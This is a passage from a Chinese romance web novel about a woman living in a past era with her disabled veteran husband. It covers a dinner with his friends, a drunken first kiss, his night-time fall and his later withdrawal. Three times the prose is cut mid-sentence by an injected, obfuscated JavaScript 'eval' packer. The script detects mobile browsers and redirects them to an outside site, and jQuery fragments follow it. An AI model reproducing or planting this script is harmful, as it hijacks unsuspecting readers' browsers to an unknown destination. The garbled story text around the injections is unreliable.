陆锋当个体户,说是开了家小维修店,其实规模还挺大的,家具、电器、自行车、小汽车都能修,他还和机关单位搭上线,公家的车他也负责,这才能赚出不薄的家底。 不过个体户也没个节假日,顶多是生意冷清的时候,他和张贺几人可以轮流去看店,要是赶上生意忙的时候,陆锋连回家吃晚饭都不一定赶得上,江乐阳也会给他留好热饭热水。 陆锋好像突然就找到了盼头,到点就惦记着要回家,李大友开玩笑问他是不是媳妇管得太严,他也只说要回家吃饭,几个兄弟还纳闷他家里的饭到底有多好吃,江乐阳就来履行领证那天的承诺了。 “搬家那天就说好要请他们几个吃饭的,难得这两天你们店里清闲点,你就把朋友都叫过来吧。” 对陆锋来说,李大友和张贺就是没有血缘关系的亲兄弟,于情于理都该一起喝杯喜酒,可他又不乐意让江乐阳一个人忙里忙外。 “那你少做几个菜,拌个黄瓜就行,我去市场买熟食回来,他们胃口大,吃起来就没完了。” 江乐阳被他逗笑了,还以为他是个实心眼的,竟然也会琢磨这些。 “你别笑,我们几个是穿一条裤子长大的,他俩的胃口我清楚,你就算捞一锅面条,他们都要吃好几碗。” “行行行,那就捞面条。” 江乐阳知道他们几个关系好,一起长大现在又一起赚钱,当然不可能真的用面条来打发人,盘算着多做几个肉菜,还得买两瓶好酒。 维修店的工作挺累的,尤其陆锋腿脚不方便,大部分力气活都是其他人代劳了,他们关系好那是情分,江乐阳要答谢也是本分。 倒不是说什么夫妻一体,她只是觉得两人已经结了婚,这段时间相处下来陆锋对自己也很好,那就安安心心把日子过好。 张贺和李大友也没空手来,带了一兜水果,还领着一个小年轻,是李大友的堂弟,叫李平,初中都没念完,也找不到工作,就跟着在维修店里干活。 饭桌上就他们四个大男人,加上陆铠一个小孩,江乐阳还在厨房里忙着炒菜,先给他们端了一盘青枣、一盘瓜子,让他们先聊着。 青枣都是洗过的,又放在篮子里沥过水,一颗颗饱满又干净,几人帮着接过来,还不忘客气说一句嫂子辛苦了。 “嫂子真讲究啊,家里也收拾得真干净。” 李大友进门之后就没坐下,围着客厅转了几圈,一会儿摸摸墙上的挂历,一会儿又摸摸沙发上带着流苏的罩子,哪怕是性格沉稳的张贺,也好奇地打量着家里的布置。 以前只有陆家两兄弟的时候,屋里也很干净,但是特别冷清,就跟没人住似的,陆锋才结婚不到两个月,家里就完全变了样子,他俩没什么文化,也说不出变成啥样了,总之就是更有人味了。 陆锋装修房子的时候,别人有的家具他也都买了,什么橱柜茶几沙发,就这么堆在堂屋里,更像刻板的仓库,江乐阳来了才好好布置过,把家里的格局完全推翻,又添置了不少小物件。 沙发上的布套是白底点缀着浅绿色菱形格,茶几下就铺了一块同色系的地垫,茶几上放着圆形的搪瓷托盘,托盘里的玻璃杯就倒扣着排成一圈,中央围着一个茶壶。橱柜里的瓶瓶罐罐高低不一,按顺序从内往外整齐地排列着,橱柜上还摆了只招财猫。 这个年代虽然轻工业没那么发达,但江乐阳还是努力布置着家里的每一个角落,空了的罐头瓶子也被洗干净摆成一排,插了几朵路边折回来的野菊花。 连陆锋都穿了件新衣服,一件黑色的高领毛衣,看着就暖和,平时干活的时候他都舍不得穿,今天要宴请才翻出来,一看就知道是媳妇买的。 “手别乱碰啊。” 陆锋也觉得家里这样布置很好看,他不懂江乐阳说的复古和审美,只知道体谅她的辛苦,自己平时都很爱惜。 他们几个大男人在维修店不太讲究,夏天就穿一件背心,天冷了加一件工装外套,到处都是灰尘不说,修车的时候还容易沾上机油。 家里被收拾得这么干净,陆锋刚开始都觉得自己有点格格不入,开门都不知道往哪下脚,更不想让江乐阳闻到自己身上的机油味,回家的第一件事情永远是洗澡换衣服,穿上干净衣服才会坐沙发,自然也不准外人乱动。 李大友一看他这幅护食的模样就想笑,凑过来拍了拍陆锋的肩膀,挑着眉问他结婚的感觉怎么样,是不是比打光棍好一百倍。 陆锋没回答,但不开口就是默认了,时不时还朝厨房里张望,担心江乐阳忙不过来。 他想进厨房帮忙,又被江乐阳推出来,说客人还得有人招待,没道理他们俩都在厨房里忙活。 李大友和张贺坐在沙发里笑他,眼睛都粘在嫂子身上去了,笑他打了这么多年光棍,一结婚就找了个这么好的老婆,隔着一道厨房门都舍不得,巴不得时时黏在一起。 李平跟他们的关系没那么热络,但也由衷地称赞了一句:“要是我能有这么好看的媳妇,我也天天盼着回家。” 江乐阳今天穿着一条时髦的高腰牛仔裤,上半身的浅蓝色衬衫扎进裤腰里,忙着做饭所以没穿外套,围裙勾勒着她的腰身,弯腰在厨房里忙来忙去,她就简单扎了个马尾,几缕碎发散在额前。 米白色的门帘把她的身影挡住大半,厨房里飘出来的阵阵香味还是勾出了几个人的馋虫,不吃青枣也不喝茶水,眼巴巴就等着江乐阳的饭菜。 江乐阳炒了六菜一汤,加上卤肉店里买的酱牛肉、猪耳朵,又拍了个黄瓜,凑足了十道菜,算是讨个十全十美的彩头,还蒸了一盆大米饭,围着饭桌满满当当摆了一桌,招呼着大家赶紧动筷子。 桌上几个男人都直咽口水,对每道菜都赞不绝口,还说下次要把老婆孩子都带过来一起蹭饭,江乐阳全都笑着答应下来。 她做饭其实没什么天赋,唯一的优点就是舍得放油、舍得放肉,陆锋也从来不会克扣她的菜钱,对于这个年代还要干体力活的壮劳力来说,肯定是好吃的。 但是陆锋听着却不太开心,敲了敲李大友的筷子,告诉他下次要是想带家属,就去外面饭店吃,为了今天这一大桌子菜,江乐阳中午就在厨房里开始洗菜备菜了,要是来的人更多,她得忙成什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627497|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子? 另外几个人也没往心里去,只是打趣陆锋心疼老婆。 江乐阳也跟着笑,之前的她其实也没有完全适应这个年代的生活,这两个月相处下来,她是真觉得陆锋适合过日子,也就带入了妻子这个身份,主动给桌上的几个人都倒了一杯酒,随后自己又举杯站了起来。 “我跟陆锋也没办婚礼,都没请你们喝一杯喜酒,今天这杯酒算是迟到了,我先敬各位一杯,希望维修店的生意蒸蒸日上!” 江乐阳没什么酒量,今天她就只打算喝这一杯,仰头直接就干了,白酒辣得她眼睛都眯在一起,但还是爽快地把杯子倒了过来。 陆锋都被她的动作吓了一跳,劝都没来得及劝,另外几个人回过神来赶紧也跟着干了,还说着祝大哥大嫂百年好合。 “嫂子大气啊,锋哥能找到你这样的老婆,是锋哥的福气。” “对啊,锋哥以后要是让嫂子受委屈了,我们兄弟第一个不答应!” 江乐阳也跟着笑,还不忘解释:“我就这一杯的酒量了,你们几个慢慢吃、慢慢喝,要是菜不够我再去做,厨房里都还有。” 他们兄弟几个各自都成了家,也难得有机会这样坐在一起,还是遇上结婚这么大的喜事,江乐阳不用想都知道他们要多喝几杯,估摸着陆铠也吃饱了,就先带着他回房间,让他自己先写作业,写完作业就自己睡觉。 自从上次陪着陆铠在厨房里偷吃之后,两个人的关系就拉近了很多,谈不上亲密,但至少是和平的。陆铠中午回家就能吃上热乎的,放了学也愿意回家待着,小孩子也不傻,想明白了那天晚上江乐阳说的那番话,也能分得清到底谁对他好。 江乐阳哄着他回屋写作业,他也乖乖地把作业本拿出来,犹豫着还说了一句:“我一会儿写完作业帮你洗碗吧。” 这段时间都是这样的,嫂子做饭,哥哥就会自觉洗碗,他就帮着扫扫地,今天八成哥哥会喝醉,陆铠想着,洗碗的任务就可以分配给自己。 更肉麻的话他说不出来了,亲弟弟反而没办法像外人一样,随口就称赞一句哥哥找了个好老婆,哪怕他心里也知道,江乐阳真的很好,而且是一种和自己身边所有长辈都不一样的好。 江乐阳总是很耐心,会带着他去菜市场买菜,鼓励他主动开口跟卖菜的大婶问价格,还会趁机考他算术题,要是他算对了,就能得到一块桃酥。 几乎没有长辈夸过自己,但是江乐阳从不吝啬言语间的鼓励,哪怕只是帮她看着火加一块蜂窝煤、再顺手把煤灰倒到院子的角落里,都能得到她的夸奖。 江乐阳会做的菜其实不多,但是每天晚上都会问陆锋第二天想吃什么,问完哥哥再征求自己的意见,她没有把自己当成小孩,而是当成这个家的一部分,他和哥哥的想法都同样重要。 所以他逐渐愿意开口,主动表达自己的想法。 有些潜移默化的改变,陆铠自己都没有意识到。 江乐阳笑着揉了揉他的脑袋,让他写完作业就赶紧睡觉。 “今天太晚了,你放心,我要是干不完,就留着明天给你洗。” 12. 亲吻 李平酒量一般,又是寄住在堂哥家里,想着还是得保持清醒,不能回去麻烦堂嫂,所以他喝得不多,就听着三个大哥聊以前的事情,无非就是怀念小时候的时光,惋惜陆锋的前途,又真心为现在的他高兴,希望他以后的日子能越过越好。 江乐阳在厨房里洗洗涮涮,看饭菜吃得差不多了,把锅碗都收走,又炸了两盘花生米端出来给他们下酒。 花生是陆锋之前剥好的,选剥壳边挑选,瘪的就自己吃了,剩下的粒粒饱满,细细撒上盐粒,又脆又香。 李平不好意思像堂哥那样伸手抓,用筷子夹了几颗慢慢品味,心里想着江乐阳是真好,他住在李大友家里,平时堂嫂最讨厌堂哥喝酒,更别说是把朋友带到家里喝了,怎么还会像这样忙前忙后伺候着。 李平又是饭桌上年纪最小的,不喝酒了就跟着搭把手帮忙收拾,拎了两桶水回来把水缸装满,和江乐阳闲聊了几句,问到了属相,才发现她竟然比自己还小三岁。 “嫂子你才二十啊?” 虽然看着也很年轻,但李平还是不敢相信,她竟然比陆锋小了足足八岁,突然觉得嫂子这个称呼都有点叫不出口。 “我看着应该也没有很老吧。”江乐阳笑着捋了捋耳前的碎发,她穿越前都二十七了,对年龄也不是很介意,但是看见李平脸上的震惊,还是觉得有趣。 “没有没有,我不是那个意思,就是有点意外。” 李平觉得自己解释不清楚了,刚好听见炉子上的水沸起来,便起身帮忙把热水倒进大盆里,拿着抹布还想帮忙洗碗。 江乐阳赶紧抢回来,挥了挥手让他回堂屋去坐着。 “哪有让客人洗碗的道理,你要是想帮忙,就去看看他们喝得怎么样了。” 李平看了看饭桌上还在推杯换盏的几个人,心里跟着感叹,锋哥真是好福气,能找到这么好的老婆。 这话是李大友说的,也是他们几个的共识。 只要是夸江乐阳的话,陆锋都非常受用,递到面前的酒也都来者不拒,他当然知道江乐阳好,年轻漂亮、性格又温柔,平时关起门来过日子就已经让他觉得很幸福了,今天在朋友面前,更是给足了他面子。 因为残疾的原因,他心里一直都有些自卑,可是江乐阳好像根本不在意,相处这么久,从来没有过鄙夷或者怜悯,甚至都没多问过一句。 好像在她看来,自己就是健全人,还在朋友面前最大限度地满足了他的自尊。 怎么会有这么周到的姑娘? 陆锋心里五味杂陈,好像很高兴,又说不出来哪里不对劲,带着情绪喝酒就更容易醉了,最后他竟然是三个人里喝得最晕的。 李大友被堂弟扶着一起回家,张贺还算清醒、能自己走,只有陆锋坐在沙发里起不来,江乐阳只能把客人都送走了,再回过来照顾他。 好在陆锋酒品很好,喝醉了就呆呆地坐着,也不发酒疯,就像上次在张书记家里,眼睛一闭好像就要睡着了。 “我就洗了个碗的功夫,怎么喝这么多啊?” 陆锋听见她的声音,突然就睁开了眼睛,回答她,好像已经成为条件反射了。 “他俩说我是新郎,应该多喝。” 不止说陆锋是新郎,还问他洞房的滋味怎么样,准备什么时候要孩子,需不需要兄弟之间传授点经验。 陆锋被问得面红耳赤,不可能回答说两人至今还是分房睡,他也没想过要和江乐阳生孩子,他更不喜欢旁人这样谈论江乐阳,所以问什么都用举杯挡过去。 “他们说你就听啊?” 江乐阳给他倒了杯温水,蹲着在橱柜里找蜂蜜罐子,想给他兑点蜂蜜水。 还没拧开罐子,又听见他一本正经回答道:“我觉得他俩说得对。” 江乐阳直接笑出声了,喝醉的陆锋比清醒时更有趣,像个直来直往的小孩子,心里有什么话都往外说。 “你笑什么?” 杯子里的蜂蜜搅拌融化,江乐阳舔了舔筷子,确定甜度刚刚好,这才弯腰凑到他面前,把水杯递给他,可是陆锋不仅不接,还坐直了上身,认真问她笑什么。 总不能说笑你说话幼稚,江乐阳想着反正他也醉了,随口敷衍道:“我没笑,你听错了,来,先喝口水缓缓。” 陆锋攥着拳头不肯接,坚定地反驳她:“我听见了,你刚刚真的笑了。” 大概是当过兵的原因,陆锋这个人还挺较真的,一字一句掷地有声,只是这几年做生意隐藏了很多,喝醉之后又都表现出来了。 江乐阳又被他逗笑了,没出声,但是嘴角上扬,还笑出了一排牙齿。 “我看见了,你还在笑。” 陆锋抬手抚过她的唇角,力度轻得像是一阵微风,江乐阳脸上的笑容僵住,依旧保持着弯腰的姿势,还不知道该作何反应。 他的手上有一层茧,指甲旁边还有细碎的倒刺,江乐阳思绪乱飘,想给他抹点护手霜,可是她现在没有护手霜,只有雪花膏。 陆锋也不知道自己在做什么,只觉得两人的距离还是太远了,他终于伸手接过江乐阳手里的水杯,却根本没打算喝,直接放到了茶几上。 另一只手从身后环住江乐阳的腰,胳膊一用力,就将她拉进了自己怀里。 江乐阳眼睛都瞪大了,这还是两人头一次离这么近,她能清晰地感受到陆锋的体温,听见他的呼吸,还有两个人交织在一起的心跳。 太近了。 心跳得太快了。 江乐阳的大脑一片空白,无法思考陆锋的意图,连恐惧或者是羞涩的情绪都来不及产生。 但是她并不抗拒,不抗拒陆锋突然的亲密接触,不抗拒他搭在自己腰间的手,哪怕他的胳膊不断用力,好像做什么都不足以表达内心的情绪,所以只能抱紧她。 谁都没开口。 此时此刻,拥抱就是最好的语言。 一开始和江乐阳结婚原本是出于责任,可是日复一日的相处中,陆锋慢慢开始期待这段婚姻变得圆满,只是心中自卑和守旧让他不敢往前半步。 唯有醉酒后的片刻不清醒,他才能忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627498|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记所有顾虑,只剩下被江乐阳吸引的本能,想要靠近她、拥有她。 直到两人完全贴紧,再怎么用力都不能更进一步,江乐阳才看清楚自己心里隐隐的期待,但陆锋还是坐在沙发上,自己的后腰被勒得有点酸痛,她还在犹豫要不要换个姿势。 这样是不是太主动了?他都喝醉了,算不上我占他便宜?是不是得等他清醒了再说? 内心还在天人交战,陆锋好像瞬间看到她心中所想,无需她费力抬腿,直接俯身将她压在沙发上。 哪怕是沙发是软的,陆锋原本搭在她背上的那只手,还是跟着往上、垫在她的后脑。 他这份刻在本能里的周到体贴,让江乐阳浑身发麻。 陆锋应该是醉了,耳根红得要滴血,眼神不似平常清明,动作也大胆得多,他就这么盯着怀里的江乐阳,连眨眼都不舍得,半晌之后才开口:“乐阳,我今天很高兴。” 却没有再进一步动作。 他的眼睛像静止的夜空,没有明月繁星,里面只有江乐阳一个人。 江乐阳在其中看见爱意和渴望,又看见他的克制。 她不理解这份克制从何而来,所以双手环住他的后背以作回应,跟着微微仰头,在他的鼻尖轻轻落下一个吻。 还不等他回应,下一个吻又落在他的嘴唇。 陆锋的心跳乱得不成样子,整个耳廓红得烫手,连呼吸都忘记了,只能笨拙地模仿江乐阳的动作,跟着在她的唇上轻轻蹭。 大脑在酒精的麻痹下慢慢变得迟钝,最后变成停止运转的齿轮,连亲吻都没有再深入,他就这么靠在江乐阳的肩头,呼吸慢慢变得平稳。 江乐阳觉得好笑又无奈,拍了拍他的肩膀,果然没什么反应。 “你高兴也不能在沙发上睡啊。” 陆锋好像还剩下一点意识,随着她的动作往外挪了挪身体,没完全压在江乐阳身上,但也没清醒。 江乐阳勉强将人扶起来,站不稳的醉鬼压得她直不起腰,离卧室短短几步的距离,走得她气喘吁吁,好不容易才把人放到床上。 “早知道不让你喝这么多了。” 平时看着挺稳重的一个人,江乐阳还以为他心里有数,也想让几个人尽兴,这才没劝着,哪知道会醉成这样。 江乐阳帮他脱了身上的毛衣,剩下一件贴身的背心,原本还想解他裤子,手已经搭在他的腰带上,脑中突然闪过刚刚的亲密画面,心虚地看了一眼陆锋闭上的眼睛,最后还是没好意思动手,就这么帮他盖上被子。 江乐阳又拧了毛巾想给他擦擦脸,想着他能睡得舒服点,等她转身回卧室的时候,陆锋已经完全睡着了。 温热的毛巾覆在脸上,陆锋舒服得仰了仰头,他好像还有点意识,知道江乐阳在照顾自己,微微睁开眼,双眼迷茫地看着眼前的人,没头没尾地叫了一声乐阳,又沉沉地睡了过去。 江乐阳还等着他的后半句呢,就听见他的呼吸声越来越均匀,只能笑自己跟醉鬼计较什么,帮他盖好被子,又去外面把桌子都收拾了。 13. 梦醒了 当家庭主妇确实挺累的,平时只做三个人的饭菜,还有兄弟俩跟着分担家务,也没觉得有多累,今天所有的活都是江乐阳一个人在做,陆锋都睡下了,她还得擦桌子扫地,最后累得腰都快直不起来了,躺在床上一闭眼,也沉沉地睡了过去。 只不过睡前的亲吻依旧刺激着她的多巴胺分泌,睡梦中也依旧清晰的记得陆锋呼吸的温度。 两个人都是第一次接吻,谈不上什么技术可言,只是循着本能用亲近来表达喜欢。 梦里却并非如此,动作可以全凭江乐阳的意愿天马行空地施展,可以和完全清醒的陆锋耳鬓厮磨。 坐在陆锋腿上,可以居高临下地看清他的表情,江乐阳的指尖沿着他的耳廓抚摸到眼尾,感受他的心跳加速,看见他的眼神躲避。 “你害羞啊?” 江乐阳明知故问,都已经看见他脸红了,还非要点明了让他亲口承认。 陆锋被逼急了,可是两条腿都被她禁锢住,逃都没地方逃,最后竟然抬手捂住了江乐阳的眼睛,不许她再看自己。 “我没有。” 分明就是掩耳盗铃。 江乐阳毫不费力就能推开他的手,但她不仅没推,甚至还故意凑近了,睫毛贴在他的掌心轻轻扇动。 “对,我没看见,就是没有。” 不用眼睛看,还能用手感受。 她记得陆锋的额头上有一道疤,说是以前执行任务的时候划伤的,伤得不深,缝了三针之后只留下一点浅浅的痕迹,平时不注意都看不见,只有靠得很近的时候,才会觉得碍眼。 江乐阳忍不住想去触摸、想去亲吻那道疤。 舌尖轻轻划过那道疤,陆锋全身微微战栗,却没再配合她的动作做什么,愣了片刻之后突然推开了她,想站起来但是左腿使不上力,往后退了几步扶着茶几才勉强站稳,暧昧的氛围跟着完全消失。 江乐阳有些无措,想伸手去拉住他,却被他抬手躲过,最后只拉住一片衣角,疑惑地问他:“怎么了?” “我弄疼你了?哪不舒服吗?” 追问也得不到回答,陆锋连衣角都不让她碰,挣开她的手要往门外去。 江乐阳心中疑惑又失望,还想着要追出去,可是身体沉甸甸地起不来,紧跟着就听见门口传来剧烈的爆炸声…… “嘭……” 剧烈的响声把江乐阳惊醒,结束了这场没头没尾的梦,她依旧记得梦里的心动和失落,坐在床头惊魂未定,又听见隔壁传来细碎的响声。 ——那不是梦里的爆炸声,是陆锋房间里摔碎了什么东西发出的动静。 江乐阳来不及多想什么,先拿着手电筒去了隔壁。 手电微弱的光打在床边,只见陆锋跪在地上,胳膊扶着床沿想站起来,肌肉因为用力而微微颤抖,他的脊背挡住手电筒的光线,在墙角形成巨大的阴影。 而陆锋,就跪在这片阴影里。 他只是想起来上个厕所。 平时陆锋都会把拐杖放在床边,一抬手就能摸得到,但今天是江乐阳扶他过来的,就把这件事情给忘了,偏偏他又喝多了酒,一下没站稳就跌在了床边,还想伸手继续摸索拐杖,又打翻了床头柜上的玻璃杯。 还是睡前没喝到的那杯蜂蜜水,江乐阳原本是担心他半夜醒了会渴,就端过来放在床头柜上了。 杯子被突然摔碎,碎片溅得到处都是,这才把江乐阳吵醒了。 江乐阳从没见他摔过跤,担心得都忘记开灯了,直接把手电扔到床上,走过去想赶紧把他扶起来。 陆锋的酒劲已经完全清醒了,可是左腿完全使不上劲,右腿又磕着了膝盖,靠自己站起来非常费劲,他只能一只手撑着床沿,另一只胳膊搭在江乐阳身上,勉强才坐回床上。 江乐阳惊魂未定,蹲下身想去看他的腿有没有摔伤,可是双手都还没接触到他的裤子,就被陆锋握住了。 他不想让江乐阳看见自己的腿。 陆锋嗓子还有点哑,但还是强压着情绪,让自己尽可能平和一些才开口:“我没事,别担心。” “真的吗?要不要去医院看看?” 陆锋双手冰凉,手心还有一层冷汗,怎么看都不像是没事。 江乐阳还是很担心,但两只手都被他紧紧压在膝盖上,想起来开灯都不行,只能借着手电筒的余光,努力分辨他的表情。 “真的没事,我就是想起来上个厕所,没站稳才磕着了,你帮我取一下我的拐杖好吗,应该在沙发旁边。” 陆锋不想吓到她,不停地说着自己没事,只有他知道,自己的腿在发抖,手在发抖,嗓子也在发抖。 “好的好的,你等一下。” 手里握住拐杖,心里也跟着安定了几分,陆锋慢慢站起身,他拒绝了江乐阳的搀扶,哪怕双腿还在微微发抖,还是坚持自己一步一步往外走。 “要不还是用痰盂吧?” 江乐阳看他站不稳,担心他又摔了,他俩的屋里都没放痰盂,只有陆铠的房间里有一个,但也能拿来应应急。 陆锋摇摇头拒绝了,他无法接受在江乐阳面前用痰盂,也不想让她觉得自己连起夜都需要帮忙,哪怕再摔倒,他今天晚上也必须自己走出去。 江乐阳觉得他现在的状态很不好,但也不敢拦着他,只能紧张地跟着他身后。 睡前江乐阳给他脱了毛衣,现在身上就穿了件背心,厕所修在小院角落里,江乐阳怕他着凉,又随手拿了件外套给他披上,打着手电筒走在他身边,另一只手紧张地攥拳,每一根神经都紧绷着,时刻准备着扶住他,就这么陪他走到了厕所门口。 到门口了江乐阳才后知后觉有点不好意思,可是都到这里了,总不能又退回去,只能欲盖弥彰地说了一句:“我……我不听,你自己小心一点,要是不行就叫我。” 大部分人家里的厕所都是旱厕,挖个坑盖上瓦就解决了,也没有马桶,陆锋的腿蹲不下去,他自己用木材打了个简易的坐便,上厕所也都是坐着的,倒是不至于需要别人帮忙。 他也不可能接受让江乐阳帮忙。 “你放心,我坐着,没事的。” 江乐阳嘴上说着不听,可是耳朵不听使唤,伴随着一阵水声逐渐变红,陆锋出来的时候看她还打着手电筒站在门口,眼睛一直盯着地面,耳垂却已经红透了。 陆锋当然知道她听见了什么,也只能无奈地长叹一口气,又在一旁的水龙头洗了手,这才往屋里走,他甚至还惦记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627499|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着刚刚打碎的玻璃杯,还想拿扫把过来打扫。 江乐阳怎么会让他打扫,直接把人推到床上坐好,又蹲下身去清理玻璃碎片。 陆锋坐在床上看着她,这才发现她身上只穿着单薄的睡衣,领口的扣子都散开了,头发也没扎,刚刚只顾着给自己披外套,江乐阳却连外套都没穿,站在院子里吹着冷风等他。 内疚和自卑几乎要把他淹没,他想开口让江乐阳别再打扫,留着自己明天再弄,可是嗓子好像被堵住了,怎么都说不出话。 刚受伤的时候,轮椅或者拐杖都会引来别人的侧目,陆锋总觉得刺眼,却也无力改变,只能逼着自己面对现实。 逐渐接受自己的腿伤之后,他可以在战友和朋友面前拄拐杖,和客人谈生意也不再刻意掩饰,可是在江乐阳面前,他的窘迫被放大了无数倍。 他不想在江乐阳面前摔倒,不想江乐阳半夜还得起来照顾自己,更不想成为江乐阳的累赘。 最后开口的是一句道歉。 “对不起,吵到你睡觉了。” “别这么说,刚刚吓死我了,你以后要是有什么事就赶紧叫我,你敲墙我也能听见的。” 毕竟两人的床头就隔着一堵墙,江乐阳也没觉得有多麻烦,可是这句话落在陆锋耳朵里,他就听见了前半句。 自己吓到江乐阳了。 江乐阳没留意到他的情绪变化,也没注意他的眼眶微微发红,只是收拾好碎玻璃之后,又给他倒了半杯温水,晚上喝了那么多酒,喝点水能舒服些,等看着他在床上躺好,还是觉得不放心。 “你的腿真的没事吗?” “真的没事,刚刚不都是我自己走回来的吗?” “要不我还是把痰盂放你屋里来吧,我不放心。” 看她紧紧皱在一起的眉头,陆锋心里又自责又愧疚,最后还是放下了自己的面子,要是不放痰盂,估计江乐阳一晚上都睡不安稳。 “好,那你拿过来吧。” 放好痰盂和拐杖,江乐阳还在念叨着:“都怪我,应该劝着点的,下次你还是别喝那么多了。” “好,都听你的。” “要是还想还想起夜你就叫我,我扶着你,不然我不放心。” “好,有事我就叫你。” “别光答应,千万别逞强,要是有什么不舒服一定要叫醒我啊。” “好,一定。” 不管江乐阳说什么,得到的回应都是好,她还是觉得不放心,最后是在陆锋的再三催促下,才回房间去休息。 她不知道的是,陆锋表面镇定,左手却已经攥紧了被单,手心里还有刚刚扎进去的两片碎玻璃,染红了一片血迹。 明明最不愿意让她看见自己狼狈的样子,平时哪怕腿疼也要撑着帮她干活,今天却狼狈地跌倒在她面前,就连去厕所都要她搀扶。 江乐阳只是把他当成健全人对待,配合他勾勒出一场圆满的美梦,但现实总是残忍,他这条腿永远也无法康复,甚至连生活琐事都需要别人帮忙。 是啊,他一个残废,哪里还有资格奢求更多呢。 江乐阳带给他的,那份关于婚姻和爱情的期待,仿佛化作一滩冰凉的湖水,将他困在中央,动弹不得。 14. 逃避 平时陆锋掩饰得太好了,好像有没有拐杖也能正常生活,有时候江乐阳都会忘记他的腿伤,今天她才切切实实地感受到,能让一个军人退伍回家的伤,到底有多重。 但她也没觉得这会成为负担,肢体健全的人也会生病啊,以后还要一起生活,谁都难免会有个不方便的时候,就是顺便搭把手而已。 可是陆锋竟然开始躲着她。 这段时间店里不是很忙,陆锋捧着一本汽车发动机原理在看,一整天从早到晚也才翻了三页,眼瞅着天都要黑了,也没有要起身回家的意思。 之前没结婚的时候他也是这个状态,只要有维修的单子,熬到多晚都要做,自己不会的就去看书、去请教老师傅,这个店的口碑才慢慢经营起来,就连政府机关的车坏了都会拉到这里来修。 可是江乐阳来了之后,他下班的点就变准了,天都没黑就迫不及待往家里跑,遇到还没做完的,也只是指点一下交给其他人继续修,实在不行就留到明天。 家里就跟装了吸铁石似的,每天都盼着回去,去帮江乐阳干活,听她聊今天又在市场上买了什么好吃的。 可是今天眼瞅都要天黑了,还是没有想动身的迹象,李大友都纳闷了,直接问他:“大哥,今天店里没活了吧,还不走?” “你们先走吧,我再看会儿书,一会儿我关门。” “这书你都看多少遍了,背也背下来了吧,还看啊?” 陆锋没说话,他只是不知道回去要怎么面对江乐阳,忍不住想靠近,又害怕成为她的负担。 张贺和李大友默契地交换眼神,就知道他今天不对劲,试探着开口问:“跟嫂子吵架了?是不是昨天喝太多?” 陆锋迅速否认,语气却冷冰冰。 “没有吵架。” 张贺叹了口气,这还叫没吵架? “大哥你跟我们可以嘴硬,跟嫂子可不能这样,女孩子是要哄着的。” “就是,嫂子脾气那么好,每次见面都笑呵呵,你多哄哄肯定就好了。” 陆锋当然知道她脾气好,一个屋檐下住了两个月,从来都没跟自己红过脸,顶多有时候犯懒不想烧水,板着脸跟水龙头生气,问水龙头为什么不能自己淌出热水。 陆锋听不懂她的疑问,只是不厌其烦地将每一个热水壶灌满。 “我自己心里有数。” 他只是在和自己置气,气这条残疾的腿,也气自己怎么能对江乐阳生出非分之想,还趁着醉酒占了她的便宜。 “你有个屁的数啊,赶紧回家吧,要是把人气跑了你悔都没地方悔去。” 李大友说话太直,大家也都不知道前因后果,张贺抬手拍了拍他的肩膀,想让他少说两句。 不论是小时候一起玩、还是这几年一起开店赚钱,陆锋一直都是三个人中的主心骨,看他还是板着脸不说话,另外两个人也不好再说什么。 谁知道这才刚刚是个开始,陆锋竟然连着半个月都没回家跟江乐阳一起吃饭,也不要江乐阳留饭,自己就在隔壁的工厂食堂里吃了,问也只是说店里很忙,实在赶不回来。 江乐阳倒是没多想,毕竟不能又要求陆锋赚钱,又要他天天在家待着。 更重要的是,陆锋心里那点情绪,到了她面前全都偃旗息鼓,照常帮她洗碗、洗衣服、回应她细细碎碎的分享欲。 他只是在生自己的气,只有不面对江乐阳的时候,才能不断告诫自己要保持距离,可是当两个人坐在一起,陆锋还是没办法不给她回应,连冷脸都摆不出来。 “我给你买了件棉衣,你一会儿试试合不合身。” 时间过得很快,眼瞅着就要入冬了,这里又买不到羽绒服,江乐阳也不会做衣服,这几天都在市场上到处看棉衣。 “好,你给自己多买两件。” “我今天买棉衣的时候多付了三毛钱,后来裁缝店的老板还追到家里来给我还钱,一个特别热情的小姑娘,叫田曼,你认识吗?” “田婶的闺女,听说针线活做得很好,但是小学都没念完,进不了国营工厂,就自己开了个小店。” “哇,这么厉害,她还说要教我织毛衣,但我肯定学不会,我最多去帮她算算账。” “你想要毛衣就买现成的,要是没有喜欢的款式,就买了毛线花钱请她给你织。” “行行行,大佬你有钱,我都听你的。” 陆锋听出她话里的玩笑,不知道该说什么,只能低着头洗手里的衣服。 